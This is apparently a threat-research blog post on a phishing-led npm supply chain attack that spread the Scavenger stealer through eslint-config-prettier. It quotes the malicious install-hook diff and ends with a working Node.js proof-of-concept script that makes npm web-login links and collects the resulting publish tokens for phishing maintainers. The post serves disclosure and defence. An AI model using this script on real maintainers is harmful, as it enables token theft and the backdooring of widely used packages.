Back to all articles

From Phish to Package: NPM Supply Chain Attacks

July 20, 20257 min readThreat Research

At the end of last Friday, the maintainer of a popular NPM package was compromised through a phishing attack, leading to the hasty deployment of the Scavenger malware family (T1195.001).

In this article, we will piece together the various components that were involved and a possibly overlooked authentication primitive that can be re-purposed for "device code"-esque phishing.

For a detailed analysis of the malware sample, we recommend reviewing Install Linters, Get Malware - DevSecOps Speedrun Edition that covers both the loader and stealer deployed through this supply chain attack.

Anatomy of a Supply Chain Attack

The Scavenger Supply Chain Attack began with a maintainer receiving a phishing email directed at a typo-squatted domain npmjs[.]com.

assets/blog/npm-supply-chain/email.png

Upon our initial investigation, we did not notice that it was in fact typosquatting and as a result we dug into the authentication strategies available for NPM, more on that later.

Reconnaissance

The attack likely began with the adversaries identifying the emails of maintainers of popular packages (T1589.002). To view the metadata for a package, which includes the email addresses of the maintainers, the adversaries likely leveraged npm view <package>.

Maintainers of a package will have their email addresses exposed through the metadata of the packages they publish. When you sign up to npmjs.org they note themselves:

Your email address will be added to the metadata of packages that you publish, so it may be seen publicly.

1npm view eslint-config-prettier
2
3eslint-config-prettier@10.1.8 | MIT | deps: none | versions: 89
4
5maintainers:
6
7- jounqin <adm[..REDACTED..]me>
8- lydell <si[..REDACTED..]om>
9- thorn0 <ge[..REDACTED..]om>
10

Resource Development

The adversaries set up a domain to typosquat npmjs.org at npnjs.com. Additionally, they set up the infrastructure and developed the loader and credential stealer. For more information on the technical details of the malware sample - we refer you back to the deep dive on the malware sample.

Initial Access

While we did not have access at this time to the phishing page or the content - based on publicly available information from the compromised maintainer, the adversaries created a new Automation Access Token.

assets/blog/npm-supply-chain/token.png

There are 3 types of legacy Access Tokens:

  • Read-Only
  • Publish
  • Automation

If 2FA is required either at an account level for write-actions (such as publishing) or at the package level, then a publish token will still require 2FA. However, an automation token will not require 2FA. However, at the package level there are three levels of security available for a package:

  • No 2FA
  • Require 2FA OR Automation/Granular Access Token (bypass 2FA requirements)
  • Require 2FA and disallow tokens

Naturally, the most secure option is the latter - but likely lacks adoption due to its inconvenient nature.

For the adversary to have been successful, the repository likely would have been configured with the 2nd level of security - requiring 2FA or the usage of Automation tokens to bypass this requirement. When there are conflicting options at the account and package level, the most secure configuration takes precedence.

Supply Chain Compromise

By default, legacy access tokens on NPM do not expire - providing a powerful backdoor for the adversary to read private packages if any, and manipulate and backdoor public packages in a Supply Chain attack (T1195.001).

In the GitHub issues of some of the targeted packages - individuals noted the suspicious changes as shown in the packaged diff for eslint-config-prettier.

1+ "scripts":{
2+ "install":"node install.js"
3+ },
4[...REDACTED...]
5+ "install.js",
6+ "node-gyp.dll",
7

With these changes the adversaries were able to deploy both their initial loader, and the subsequent info-stealer that primarily targeted Chromium: exfiltrating sensitive data including extension information and histories.

Phishing For NPM Tokens

While the phishing attack leveraged typo-squatting to fool the end user, we did not notice this typo-squat and instead thought it was a new technique. In so doing, we stumbled across a primitive that can be all too simply re-purposed to phish for access tokens with a publish scope - offering both a non-expiring backdoor, and by default a mechanism to publish and backdoor packages.

Understanding Authentication Mechanisms

The primary way to authenticate with the npm command-line utility is through the npm login sub-command with one of the two strategies available:

  1. Legacy - Username/Password + OTP
  2. Web - Default option

Once you authenticate with npm login the CLI tool will receive a legacy token with the publish scope and store it in ~/.npmrc for further use.

The first is the legacy flow, which requires entering a username and password - and then if MFA is configured, entering the OTP code sent to the associated email. This authentication flow is likely very familiar if you have ever logged in to npmjs.org through the UI.

1npm notice Log in on https://registry.npmjs.org/
2Username: radkawar
3Password:
4
5npm notice Please check your email for a one-time password (OTP)
6This operation requires a one-time password.
7Enter OTP: 78068774
8
9Logged in on https://registry.npmjs.org/.
10

The second option that is used by default is a lot more interesting:

1 npm login
2npm notice Log in on https://registry.npmjs.org/
3Login at:
4https://www.npmjs.com/login?next=/login/cli/a1983b1b-2f33-4822-b91c-f622e589c124
5Press ENTER to open in the browser...
6
7Logged in on https://registry.npmjs.org/.
8

As with device code phishing, the core issue lies in that an attacker can arbitrarily generate a login link and send it to a maintainer. Not knowing any better, the maintainer sees the trustworthy domain npmjs.com and logs in, entering any 2FA codes required - and then at the end they are presented with a screen that briefly mentions the reason the token was requested.

At no point does NPM warn or provide any sort of indicator that the token was requested on a different machine or from a different IP address.

assets/blog/npm-supply-chain/confirm.png

These access tokens by default will not expire. As previously discussed, 2FA will only be required if either the account settings or the package settings demand it when publishing with an access token scoped for publish.

While it's possible to leverage the npm login utility - we explored the authentication implementation in the (auth.js) that delegated this implementation to the npm-profile.

After reviewing this information, we produced a proof of concept that allows users to generate the login link as seen before. These URLs are short-lived and will expire after a period of time.

Proof of Concept

The following diagram illustrates the NPM web authentication flow that can be exploited for token phishing:

Diagram

Running our proof of concept:

1./poc.sh
2
3https://www.npmjs.com/login?next=/login/cli/283a2bea-2c01-46bb-b96b-abfd9474b4a7
4npm_[..redacted]
5
6cat ~/.npmrc
7//registry.npmjs.org/:_authToken=npm_[..redacted]
8
1#!/usr/bin/env node
2
3const https = require("https");
4const os = require("os");
5
6function httpsRequest(options, data = null) {
7 return new Promise((resolve, reject) => {
8 const req = https.request(options, (res) => {
9 let body = "";
10 res.on("data", (chunk) => (body += chunk));
11 res.on("end", () =>
12 resolve({
13 statusCode: res.statusCode,
14 headers: res.headers,
15 body: body ? JSON.parse(body) : null,
16 })
17 );
18 });
19 req.on("error", reject);
20 if (data) req.write(data);
21 req.end();
22 });
23}
24
25async function main() {
26 const userAgent = `npm/11.4.2 node/${process.version} ${os.platform()} ${os.arch()} workspaces/false`;
27 const headers = {
28 "user-agent": userAgent,
29 "npm-auth-type": "web",
30 "npm-command": "login",
31 authorization: "Bearer",
32 Accept: "*/*",
33 };
34
35 const {
36 body: { loginUrl, doneUrl },
37 } = await httpsRequest(
38 {
39 hostname: "registry.npmjs.org",
40 path: "/-/v1/login",
41 method: "POST",
42 headers: {
43 ...headers,
44 "content-type": "application/json",
45 "Content-Length": "2",
46 },
47 },
48 "{}"
49 );
50
51 console.log(loginUrl);
52
53 const url = new URL(doneUrl);
54 while (true) {
55 const res = await httpsRequest({
56 hostname: url.hostname,
57 path: url.pathname + url.search,
58 method: "GET",
59 headers,
60 });
61
62 if (res.body?.token) {
63 console.log(res.body.token);
64 break;
65 }
66
67 await new Promise((r) =>
68 setTimeout(r, (parseInt(res.headers["retry-after"]) || 3) * 1000)
69 );
70 }
71}
72
73main().catch(console.error);
74

Want more insights like this?